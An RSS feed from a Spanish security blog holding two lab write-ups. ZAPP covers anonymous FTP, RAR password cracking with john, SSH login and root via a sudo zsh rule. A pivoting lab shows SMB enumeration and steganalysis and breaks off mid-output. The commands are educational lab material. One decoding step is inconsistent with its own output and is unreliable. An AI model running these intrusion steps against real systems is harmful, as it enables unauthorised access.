<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Dh89]]></title><description><![CDATA[Entusiasta de la ciberseguridad]]></description><link>https://varovish.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 17 Jun 2026 16:10:54 GMT</lastBuildDate><atom:link href="https://varovish.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[ZAPP - Writeup]]></title><description><![CDATA[Skill
- Crack rar password file / rar2john
- Crack hash rar / johntheripper
- Ftp Anonymous login
- Think out of the box / CTF like
- Sudo permition Abuse / Escalation Privilage


Colaboraciones
Esta máquina fue realizada con Corvus; les dejo su pági...]]></description><link>https://varovish.hashnode.dev/zapp-writeup</link><guid isPermaLink="true">https://varovish.hashnode.dev/zapp-writeup</guid><category><![CDATA[Linux]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Write Up]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Sun, 16 Nov 2025 17:52:57 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763240395129/9c86b700-d5e2-423d-979b-17c2bc66ea50.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-skill">Skill</h1>
<pre><code class="lang-bash">- Crack rar password file / rar2john
- Crack <span class="hljs-built_in">hash</span> rar / johntheripper
- Ftp Anonymous login
- Think out of the box / CTF like
- Sudo permition Abuse / Escalation Privilage
</code></pre>
<hr />
<h1 id="heading-colaboraciones">Colaboraciones</h1>
<p>Esta <strong>máquina</strong> fue realizada con <strong>Corvus</strong>; les dejo su <strong>página</strong> por si la quieren revisar → <a target="_blank" href="https://corvush4ck.com/">https://corvush4ck.com/</a></p>
<h1 id="heading-reconocimientohttpscorvush4ckcom"><a target="_blank" href="https://corvush4ck.com/">Reconocimiento</a></h1>
<p>Para comenzar, como siempre, vamos a crearnos nuestros <strong>directorios</strong> de trabajo.</p>
<pre><code class="lang-bash">$ mkdir ZAPP            
$ <span class="hljs-built_in">cd</span> ZAPP
$ mkdir nmap content exploit
ls
content  exploit  nmap
</code></pre>
<p>Vamos a realizar el escaneo con nmap, para ver los puertos abiertos que tiene la máquina.</p>
<pre><code class="lang-bash">nmap -p- --open -Pn -vvv -n -sS --min-rate 5000 192.168.0.22 -oG Allports
</code></pre>
<pre><code class="lang-ruby"><span class="hljs-comment"># Nmap 7.93 scan initiated Sat Nov 15 17:05:08 2025 as: nmap -p- --open -Pn -vvv -n -sS --min-rate 5000 -oG Allports 192.168.0.22</span>
<span class="hljs-comment"># Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)</span>
<span class="hljs-symbol">Host:</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">22</span> ()   <span class="hljs-symbol">Status:</span> Up
<span class="hljs-symbol">Host:</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">22</span> ()   <span class="hljs-symbol">Ports:</span> <span class="hljs-number">21</span>/open/tcp/<span class="hljs-regexp">/ftp/</span><span class="hljs-regexp">//</span>, <span class="hljs-number">22</span>/open/tcp/<span class="hljs-regexp">/ssh/</span><span class="hljs-regexp">//</span>, <span class="hljs-number">80</span>/open/tcp/<span class="hljs-regexp">/http/</span><span class="hljs-regexp">//</span>   Ignored <span class="hljs-symbol">State:</span> closed (<span class="hljs-number">65532</span>)
<span class="hljs-comment"># Nmap done at Sat Nov 15 17:05:14 2025 -- 1 IP address (1 host up) scanned in 6.42 seconds</span>
</code></pre>
<p>Como vemos, están abiertos los <strong>puertos:</strong> <strong>21</strong>, <strong>22, 80.</strong> Vamos a realizar un <strong>escaneo</strong> más profundo, para ver más información.</p>
<pre><code class="lang-ruby">nmap -sCV -p22,<span class="hljs-number">80</span>,<span class="hljs-number">21</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">22</span> -oN Targeted
</code></pre>
<pre><code class="lang-ruby"><span class="hljs-comment"># Nmap 7.93 scan initiated Sat Nov 15 17:05:35 2025 as: nmap -sCV -p22,80,21 -oN Targeted 192.168.0.22</span>
Nmap scan report <span class="hljs-keyword">for</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">22</span>
Host is up (<span class="hljs-number">0</span>.<span class="hljs-number">00</span>85s latency).

PORT   STATE SERVICE VERSION
<span class="hljs-number">21</span>/tcp open  ftp     vsftpd <span class="hljs-number">2.0</span>.<span class="hljs-number">8</span> <span class="hljs-keyword">or</span> later
<span class="hljs-params">| ftp-syst: 
|</span>   <span class="hljs-symbol">STAT:</span> 
<span class="hljs-params">| FTP server status:
|</span>      Connected to <span class="hljs-symbol">:</span><span class="hljs-symbol">:ffff</span><span class="hljs-symbol">:</span><span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">13</span>
<span class="hljs-params">|      Logged <span class="hljs-keyword">in</span> as ftp
|</span>      <span class="hljs-symbol">TYPE:</span> ASCII
<span class="hljs-params">|      No session bandwidth limit
|</span>      Session timeout <span class="hljs-keyword">in</span> seconds is <span class="hljs-number">300</span>
<span class="hljs-params">|      Control connection is plain text
|</span>      Data connections will be plain text
<span class="hljs-params">|      At session startup, client count was 3
|</span>      vsFTPd <span class="hljs-number">3.0</span>.<span class="hljs-number">3</span> - secure, fast, stable
<span class="hljs-params">|_End of status
|</span> ftp-<span class="hljs-symbol">anon:</span> Anonymous FTP login allowed (FTP code <span class="hljs-number">230</span>)
<span class="hljs-params">| -rw-r--r--    1 0        0              28 Oct 29 20:59 login.txt
|</span><span class="hljs-number">_</span>-rw-r--r--    <span class="hljs-number">1</span> <span class="hljs-number">0</span>        <span class="hljs-number">0</span>              <span class="hljs-number">65</span> Oct <span class="hljs-number">29</span> <span class="hljs-number">21</span><span class="hljs-symbol">:</span><span class="hljs-number">23</span> secret.txt
<span class="hljs-number">22</span>/tcp open  ssh     OpenSSH <span class="hljs-number">8.4</span>p1 Debian <span class="hljs-number">5</span>+deb11u5 (protocol <span class="hljs-number">2.0</span>)
<span class="hljs-params">| ssh-hostkey: 
|</span>   <span class="hljs-number">3072</span> a323b3aadfc651cba20c928e6bfe96ee (RSA)
<span class="hljs-params">|   256 fd952f2f7f5a21b50e752cda18c95235 (ECDSA)
|</span><span class="hljs-number">_</span>  <span class="hljs-number">256</span> a10e0d798e543e0eed2f96d6d39a9fa6 (ED25519)
<span class="hljs-number">80</span>/tcp open  http    Apache httpd <span class="hljs-number">2.4</span>.<span class="hljs-number">65</span> ((Debian))
<span class="hljs-params">|_http-server-header: Apache/2.4.65 (Debian)
|</span>_http-<span class="hljs-symbol">title:</span> zappskred - CTF Challenge
MAC <span class="hljs-symbol">Address:</span> <span class="hljs-symbol">D8:</span><span class="hljs-symbol">F3:</span><span class="hljs-symbol">BC:</span><span class="hljs-number">4</span><span class="hljs-symbol">D:</span><span class="hljs-symbol">AC:</span>A3 (Liteon Technology)
Service <span class="hljs-symbol">Info:</span> <span class="hljs-symbol">OS:</span> Linux; <span class="hljs-symbol">CPE:</span> <span class="hljs-symbol">cpe:</span>/<span class="hljs-symbol">o:</span><span class="hljs-symbol">linux:</span>linux_kernel

Service detection performed. Please report any incorrect results at <span class="hljs-symbol">https:</span>/<span class="hljs-regexp">/nmap.org/submit</span><span class="hljs-regexp">/ .
# Nmap done at Sat Nov 15 17:06:00 2025 -- 1 IP address (1 host up) scanned in 25.65 seconds</span>
</code></pre>
<p>Vemos que el puerto 21 (<strong>ftp</strong>) tiene habilitado el usuario <strong>anonymous.</strong></p>
<p>Vamos a conectarnos para ver qué contiene:</p>
<pre><code class="lang-ruby">ftp anonymous@192.<span class="hljs-number">168.0</span>.<span class="hljs-number">22</span>                               
Connected to <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">22</span>.
<span class="hljs-number">220</span> Welcome zappskred.
<span class="hljs-number">331</span> Please specify the password.
<span class="hljs-symbol">Password:</span> 
<span class="hljs-number">230</span> Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; ls
<span class="hljs-number">229</span> Entering Extended Passive Mode (<span class="hljs-params">||</span><span class="hljs-params">|18219|</span>)
<span class="hljs-number">150</span> Here comes the directory listing.
-rw-r--r--    <span class="hljs-number">1</span> <span class="hljs-number">0</span>        <span class="hljs-number">0</span>              <span class="hljs-number">28</span> Oct <span class="hljs-number">29</span> <span class="hljs-number">20</span><span class="hljs-symbol">:</span><span class="hljs-number">59</span> login.txt
-rw-r--r--    <span class="hljs-number">1</span> <span class="hljs-number">0</span>        <span class="hljs-number">0</span>              <span class="hljs-number">65</span> Oct <span class="hljs-number">29</span> <span class="hljs-number">21</span><span class="hljs-symbol">:</span><span class="hljs-number">23</span> secret.txt
<span class="hljs-number">226</span> Directory send OK.
</code></pre>
<p>Vemos dos <strong>archivos;</strong> vamos a <strong>descargarlos</strong> para ver su <strong>contenido.</strong></p>
<pre><code class="lang-bash">ftp&gt; get login.txt
</code></pre>
<pre><code class="lang-bash">$ cat login.txt
</code></pre>
<pre><code class="lang-bash">puerto
4444
coffee
GoodLuck
</code></pre>
<pre><code class="lang-bash">$ cat secret.txt
</code></pre>
<pre><code class="lang-bash">0jO cOn 31 c4fe 813n p23p424dO, 4 v3c35 14 pista 357a 3n 14 7424
</code></pre>
<p>Vemos varias <strong>palabras,</strong> y un mensaje que dice algo como “Ojo con el café bien preparado, a veces la pista está en la taza”.</p>
<p>Vamos a revisar la página web para ver qué contenido tiene:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763242240757/62dbafea-57b3-4102-b6cf-541d76547cc8.png" alt class="image--center mx-auto" /></p>
<p>Vemos una imagen y poco más; vamos a revisar el código fuente. Para ver si hay algo raro.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763242718160/5c7320c4-13e4-439a-9a08-a4d121a5f7b8.png" alt class="image--center mx-auto" /></p>
<p>Vemos una cadena que parece estar en <strong>base64: “VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=“.</strong></p>
<p>Vamos a ver qué dice; tuve que realizar el siguiente comando 4 veces.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"f0db7bd084e1a9edad5c14c72a8a0677"</span> | base64 -d
</code></pre>
<pre><code class="lang-bash">cuatrocuatroveces
</code></pre>
<p>Vemos la frase “<strong>cuatrocuatroveces</strong>”; pruebo eso como dirección en la página para ver si existe el directorio:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763243500737/8ee48100-2198-4ec9-8468-36d135863945.png" alt class="image--center mx-auto" /></p>
<p>Vemos un <strong>Sup3rP4ss.rar</strong>; si lo intentamos extraer, nos pide una pass.</p>
<p>Por tanto, voy a jugar con <strong>rar2john,</strong> para extraer un hash, y luego intentar romperlo.</p>
<pre><code class="lang-bash">$ rar2john Sup3rP4ss.rar
</code></pre>
<pre><code class="lang-bash">Sup3rP4ss.rar:<span class="hljs-variable">$rar5</span><span class="hljs-variable">$16</span><span class="hljs-variable">$7fd9df5fd4277912db70ac859ba28061</span><span class="hljs-variable">$15</span><span class="hljs-variable">$48def3bf4ba6f34e055c2b18ce80081c</span><span class="hljs-variable">$8</span><span class="hljs-variable">$0a8addf4f732b161</span>
</code></pre>
<p>Vamos a guardar ese hash e intentar romperlo; voy a tirar del <strong>rockyou.txt.</strong></p>
<pre><code class="lang-bash">john <span class="hljs-built_in">hash</span> --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<pre><code class="lang-bash">Using default input encoding: UTF-8
Loaded 1 password <span class="hljs-built_in">hash</span> (RAR5 [PBKDF2-SHA256 128/128 SSE2 4x])
Cost 1 (iteration count) is 32768 <span class="hljs-keyword">for</span> all loaded hashes
Will run 4 OpenMP threads
Note: Passwords longer than 10 [worst <span class="hljs-keyword">case</span> UTF-8] to 32 [ASCII] rejected
Press <span class="hljs-string">'q'</span> or Ctrl-C to abort, <span class="hljs-string">'h'</span> <span class="hljs-keyword">for</span> <span class="hljs-built_in">help</span>, almost any other key <span class="hljs-keyword">for</span> status
reema            (Sup3rP4ss.rar)     
1g 0:00:08:19 DONE (2025-11-16 14:19) 0.002003g/s 169.1p/s 169.1c/s 169.1C/s rockyou2009..randy06
Use the <span class="hljs-string">"--show"</span> option to display all of the cracked passwords reliably
Session completed.
</code></pre>
<p>Vemos que la pass es “<strong>reema</strong>”; vamos a extraer el contenido para ver qué contiene.</p>
<pre><code class="lang-bash">7z l Sup3rP4ss.rar
</code></pre>
<pre><code class="lang-bash">
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:4 OPEN_MAX:524288, ASM

Scanning the drive <span class="hljs-keyword">for</span> archives:
1 file, 174 bytes (1 KiB)

Listing archive: Sup3rP4ss.rar

--
Path = Sup3rP4ss.rar
Type = Rar5
Physical Size = 174
Characteristics = Locator QuickOpen:0
Encrypted = -
Solid = -
Blocks = 1
Method = v6:128K:m3
Multivolume = -
Volumes = 1

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-10-30 17:28:23 ....A           34           48  Sup3rP4ss.txt
------------------- ----- ------------ ------------  ------------------------
2025-10-30 17:28:23                 34           48  1 files
</code></pre>
<p>Vemos un <strong>Sup3rp4ss.txt</strong>; vamos a ver su contenido.</p>
<pre><code class="lang-bash">cat Sup3rP4ss.txt
</code></pre>
<pre><code class="lang-bash">Intenta probar con más &gt;&gt; 3spuM4
</code></pre>
<p>Vemos una posible credencial, quizás, “<strong>3spuM4</strong>“.</p>
<p>Luego de investigar, me encuentro algo curioso en el title page:</p>
<pre><code class="lang-bash">curl -v 192.168.0.22 2&gt;&amp;1 | grep <span class="hljs-string">"&lt;title&gt;"</span>
</code></pre>
<pre><code class="lang-bash">    &lt;title&gt;zappskred - CTF Challenge&lt;/title&gt;
</code></pre>
<p>Vemos un <strong>zappskred;</strong> me pareció un usuario y teniendo una posible pass “<strong>3spuM4</strong>“.</p>
<p>Intenté conectarme por <strong>SSH.</strong></p>
<pre><code class="lang-bash">ssh zappskred@192.168.0.22
</code></pre>
<pre><code class="lang-bash">    ███████╗ █████╗ ██████╗ ██████╗ 
 ╚══███╔╝██╔══██╗██╔══██╗██╔══██╗
   ███╔╝ ███████║██████╔╝██████╔╝
  ███╔╝  ██╔══██║██╔═══╝ ██╔═══╝ 
 ███████╗██║  ██║██║     ██║     
 ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝     


zappskred@192.168.0.22<span class="hljs-string">'s password: 
Linux TheHackersLabs-ZAPP 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64

Last login: Sat Nov 15 14:43:05 2025 from 192.168.0.13
ZAPP
+)Creador: puerto4444
+)Nombre: ZAPP
+)IP: 192.168.0.22
----------------------------------------
zappskred@TheHackersLabs-ZAPP:~$</span>
</code></pre>
<p>Y funcionó, logramos ingresar a la máquina como el usuario “<strong>zappskred</strong>”; ahora solo nos falta <strong>escalar privilegios.</strong></p>
<hr />
<h1 id="heading-escalada-de-privilegios">Escalada de Privilegios</h1>
<p>Haciendo un “<strong>sudo -l</strong>” y colocando la pass del usuario, vemos lo siguiente:</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<pre><code class="lang-bash">sudo: unable to resolve host TheHackersLabs-ZAPP: Name or service not known
[sudo] password <span class="hljs-keyword">for</span> zappskred: 
Matching Defaults entries <span class="hljs-keyword">for</span> zappskred on TheHackersLabs-ZAPP:
    env_reset, mail_badpass, secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zappskred may run the following commands on TheHackersLabs-ZAPP:
    (root) /bin/zsh
</code></pre>
<p>Vemos que podemos ejecutar como root “<strong>/bin/zsh</strong>“, por tanto, es simplemente usar la siguiente línea y seríamos root:</p>
<pre><code class="lang-bash">sudo zsh
</code></pre>
<pre><code class="lang-bash">sudo: unable to resolve host TheHackersLabs-ZAPP: Name or service not known
TheHackersLabs-ZAPP<span class="hljs-comment"># whoami</span>
root
TheHackersLabs-ZAPP<span class="hljs-comment">#</span>
</code></pre>
<p>Y con eso terminaríamos la máquina.</p>
<hr />
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>Bastante interesante la <strong>intrusión;</strong> tuve que darle varias vueltas para encontrar ese user en el title de la página; luego la <strong>escalada</strong> sí es bastante básica.</p>
<p>Pero me gustó porque me hizo pensar fuera de lo <strong>normal.</strong></p>
<p>Ya saben, cualquier duda o consulta, etc. Puedes escribir en los <strong>comentarios</strong> o escribirme directamente al <strong>Discord.</strong></p>
]]></content:encoded></item><item><title><![CDATA[Pivoting - Primer Lab]]></title><description><![CDATA[Explicacion del Laboratorio
Este laboratorio está diseñado para practicar pivoting; vamos a estar vulnerando 2 máquinas de VulnHub.

Crossroad

SecureCode


Donde existen 2 redes, la máquina Crossroad 1 simulará la primera red. Esta tiene una segunda...]]></description><link>https://varovish.hashnode.dev/pivoting-primer-lab</link><guid isPermaLink="true">https://varovish.hashnode.dev/pivoting-primer-lab</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[VulnHub]]></category><category><![CDATA[Linux]]></category><category><![CDATA[#sqlinjection]]></category><category><![CDATA[pivoting]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Sun, 17 Aug 2025 16:11:48 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755442623457/222d6783-1872-4286-8cda-c4a5d7debffd.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-explicacion-del-laboratorio">Explicacion del Laboratorio</h1>
<p>Este laboratorio está diseñado para practicar pivoting; vamos a estar vulnerando 2 máquinas de VulnHub.</p>
<ul>
<li><p>Crossroad</p>
</li>
<li><p>SecureCode</p>
</li>
</ul>
<p>Donde existen 2 redes, la máquina Crossroad 1 simulará la primera red. Esta tiene una segunda red donde tiene conexión con la máquina SecureCode 2, simulando la segunda red.</p>
<h2 id="heading-observaciones">Observaciones</h2>
<p>En este caso no estaré utilizando la herramienta de <strong>ligolo-ng</strong>; para el siguiente laboratorio utilizaremos esta herramienta, para que vean cómo facilita el trabajo de conexiones.</p>
<p>En caso de querer preparar/montar estos tipos de laboratorios de forma local para practicar, subiré la forma de cómo preparar estos tipos de laboratorios en un futuro.</p>
<p>También para futuros laboratorios, vamos a introducir máquinas Windows y Linux mezcladas en un mismo laboratorio.</p>
<h1 id="heading-skills">Skills</h1>
<pre><code class="lang-bash"><span class="hljs-comment">### Crossroads</span>
- Magic script - Samba -&gt; RCE
- Stenography Analysis / Stegoveritas tool
- rpcclient SAMBA enum
- SAMBA password brute force
- Brute Force Password root / Custom Binary
<span class="hljs-comment">### Securecode</span>
- Chisel / Socat pivoting Tools
- Fuzing obtain backup
- SQLI Blind Web Code Response Based
- Bypass file upload -&gt; RCE.
</code></pre>
<h1 id="heading-reconocimiento-crossroad">Reconocimiento - Crossroad</h1>
<p>Para empezar como siempre nos creamos nuestros directorios de trabajo</p>
<pre><code class="lang-bash">mkdir -p Crossroad/nmap
<span class="hljs-built_in">cd</span> Crossroad
mkdir content exploit
<span class="hljs-built_in">cd</span> nmap
</code></pre>
<p>Luego vamos a proseguir con el escaneo de puertos, para ver qué servicios están expuestos en la máquina Crossroad.</p>
<p>Voy a usar un script automático que creé hace poco para la enumeración.</p>
<pre><code class="lang-bash">./autoscan.sh -i 192.168.0.26 -n

[+] Realizando escaneo con nmap, IP: 192.168.0.26


[+]Escaneo de nmap sobre la ip: 192.168.0.26 - Puertos: 80,139,445
</code></pre>
<p>Como se puede apreciar, vemos los puertos 80, 139 y 445.</p>
<pre><code class="lang-ruby"><span class="hljs-comment"># Nmap 7.93 scan initiated Fri Jul 25 19:54:39 2025 as: nmap -p80,139,445 -sCV -oN targeted 192.168.0.26</span>
Nmap scan report <span class="hljs-keyword">for</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">26</span>
Host is up (<span class="hljs-number">0</span>.<span class="hljs-number">016</span>s latency).

PORT    STATE SERVICE     VERSION
<span class="hljs-number">80</span>/tcp  open  http        Apache httpd <span class="hljs-number">2.4</span>.<span class="hljs-number">38</span> ((Debian))
<span class="hljs-params">| http-robots.txt: 1 disallowed entry 
|</span><span class="hljs-number">_</span>/crossroads.png
<span class="hljs-params">|_http-server-header: Apache/2.4.38 (Debian)
|</span>_http-<span class="hljs-symbol">title:</span> <span class="hljs-number">12</span> Step Treatment Center <span class="hljs-params">| Crossroads Centre Antigua
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: D8:F3:BC:4D:AC:A3 (Liteon Technology)
Service Info: Host: CROSSROADS

Host script results:
|</span>_clock-<span class="hljs-symbol">skew:</span> <span class="hljs-symbol">mean:</span> <span class="hljs-number">1</span>h39m59s, <span class="hljs-symbol">deviation:</span> <span class="hljs-number">2</span>h53m12s, <span class="hljs-symbol">median:</span> 0s
<span class="hljs-params">| smb-os-discovery: 
|</span>   <span class="hljs-symbol">OS:</span> Windows <span class="hljs-number">6.1</span> (Samba <span class="hljs-number">4.9</span>.<span class="hljs-number">5</span>-Debian)
<span class="hljs-params">|   Computer name: crossroads
|</span>   NetBIOS computer <span class="hljs-symbol">name:</span> CROSSROADS\x0<span class="hljs-number">0</span>
<span class="hljs-params">|   Domain name: \x00
|</span>   <span class="hljs-symbol">FQDN:</span> crossroads
<span class="hljs-params">|_  System time: 2025-07-25T17:55:04-05:00
|</span> smb2-<span class="hljs-symbol">time:</span> 
<span class="hljs-params">|   date: 2025-07-25T22:55:04
|</span><span class="hljs-number">_</span>  <span class="hljs-symbol">start_date:</span> N/A
<span class="hljs-params">|_nbstat: NetBIOS name: CROSSROADS, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 000000000000 (Xerox)
|</span> smb2-security-<span class="hljs-symbol">mode:</span> 
<span class="hljs-params">|   311: 
|</span><span class="hljs-number">_</span>    Message signing enabled but <span class="hljs-keyword">not</span> required
<span class="hljs-params">| smb-security-mode: 
|</span>   <span class="hljs-symbol">account_used:</span> guest
<span class="hljs-params">|   authentication_level: user
|</span>   <span class="hljs-symbol">challenge_response:</span> supported
<span class="hljs-params">|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 25 19:55:04 2025 -- 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 25.25 seconds</span>
</code></pre>
<p>Vemos una página web 80 y un servicio de Samba en el puerto 445.</p>
<p>Vamos a revisar cómo se ve la web.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753484259395/20e49968-f0fa-4827-a66e-a43f92b64635.png" alt class="image--center mx-auto" /></p>
<p>Parece ser una agencia que se encarga de ayudar a las personas con diversas adicciones.</p>
<p>Vamos a realizar un WhatWeb para ver las tecnologías que utiliza.</p>
<pre><code class="lang-bash">whatweb http://192.168.0.26                        
http://192.168.0.26 [200 OK] AddThis, Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], Frame, Google-Analytics[Universal][UA-15284593-1], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.0.26], JQuery[3.3.1], Open-Graph-Protocol[website], Script[application/ld+json,text/javascript], Title[12 Step Treatment Center | Crossroads Centre Antigua], WordPress, YouTube
</code></pre>
<p>Vemos bastante información, vemos WordPress, jQuery, etc.</p>
<p>Vamos a realizar fuzzing para ver qué directorios nos encontramos.</p>
<pre><code class="lang-bash">ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u <span class="hljs-string">"http://192.168.0.26/FUZZ"</span>

        /<span class="hljs-string">'___\  /'</span>___\           /<span class="hljs-string">'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.26/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 19ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 22ms]
#                       [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 16ms]
#                       [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 12ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 13ms]
#                       [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 20ms]
# Copyright 2007 James Fisher [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 25ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 18ms]
# on at least 2 different hosts [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 683ms]
                        [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 689ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 917ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1243ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1298ms]
#                       [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1305ms]
                        [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 50ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 11ms]</span>
</code></pre>
<p>Vemos un <code>server-status</code>; vamos a ver si existe contenido compartido por Samba en el puerto 445.</p>
<pre><code class="lang-bash">smbclient --no-pass --user <span class="hljs-string">''</span> --list 192.168.0.26 

    Sharename       Type      Comment
    ---------       ----      -------
    <span class="hljs-built_in">print</span>$          Disk      Printer Drivers
    smbshare        Disk      
    IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
</code></pre>
<p>Vemos algunos recursos, pero no tienen nada interesante; nos podemos conectar con rpcclient y vemos un usuario.</p>
<pre><code class="lang-bash">rpcclient -U <span class="hljs-string">''</span> -N <span class="hljs-string">"192.168.0.26"</span> 
rpcclient $&gt; enumdomusers
user:[albert] rid:[0x3e9]
rpcclient $&gt; queryuser 0x3e9
    User Name   :    albert
    Full Name   :    
    Home Drive  :    \\crossroads\albert
    Dir Drive   :    
    Profile Path:    \\crossroads\albert\profile
    Logon Script:    
    Description :    
    Workstations:    
    Comment     :    
    Remote Dial :
    Logon Time               :    Wed, 31 Dec 1969 20:00:00 -04
    Logoff Time              :    Wed, 06 Feb 2036 12:06:39 -03
    Kickoff Time             :    Wed, 06 Feb 2036 12:06:39 -03
    Password last <span class="hljs-built_in">set</span> Time   :    Tue, 02 Mar 2021 20:13:00 -03
    Password can change Time :    Tue, 02 Mar 2021 20:13:00 -03
    Password must change Time:    Wed, 13 Sep 30828 23:48:05 -03
    unknown_2[0..31]...
    user_rid :    0x3e9
    group_rid:    0x201
    acb_info :    0x00000010
    fields_present:    0x00ffffff
    logon_divs:    168
    bad_password_count:    0x00000000
    logon_count:    0x00000000
    padding1[0..7]...
    logon_hrs[0..21]...
rpcclient $&gt; netshareenumall
netname: <span class="hljs-built_in">print</span>$
    remark:    Printer Drivers
    path:    C:\var\lib\samba\printers
    password:    
netname: smbshare
    remark:    
    path:    C:\home\albert\smbshare
    password:    
netname: IPC$
    remark:    IPC Service (Samba 4.9.5-Debian)
    path:    C:\tmp
    password:
</code></pre>
<p>Vemos la estructura de las carpetas compartidas y vemos el usuario albert.</p>
<p>Luego de intentar varias cosas, reviso el <strong>crossroads.png</strong> que nos detectó el nmap por medio del <strong>robots.txt.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754485646519/7668b415-e25d-49b1-9173-4a6c9c509fba.png" alt class="image--center mx-auto" /></p>
<p>En los ctfs, suele llamar la atención tener una imagen en la raíz de la web; seguramente tenga información oculta.</p>
<p>Luego de probar varias herramientas para detectar información en una imagen, me encuentro con la siguiente → <a target="_blank" href="https://github.com/bannsec/stegoVeritas">Stegovita</a>.</p>
<p>El cual dejó correr por un rato y parece encontrar un archivo <strong>zip.</strong></p>
<pre><code class="lang-bash">stegoveritas crossroads.png
Running Module: SVImage
+---------------------------+------+
|        Image Format       | Mode |
+---------------------------+------+
| Portable network graphics | RGB  |
+---------------------------+------+
Found something worth keeping!
MPEG ADTS, layer III, v1, 80 kbps, Monaural
Running Module: MultiHandler

Found something worth keeping!
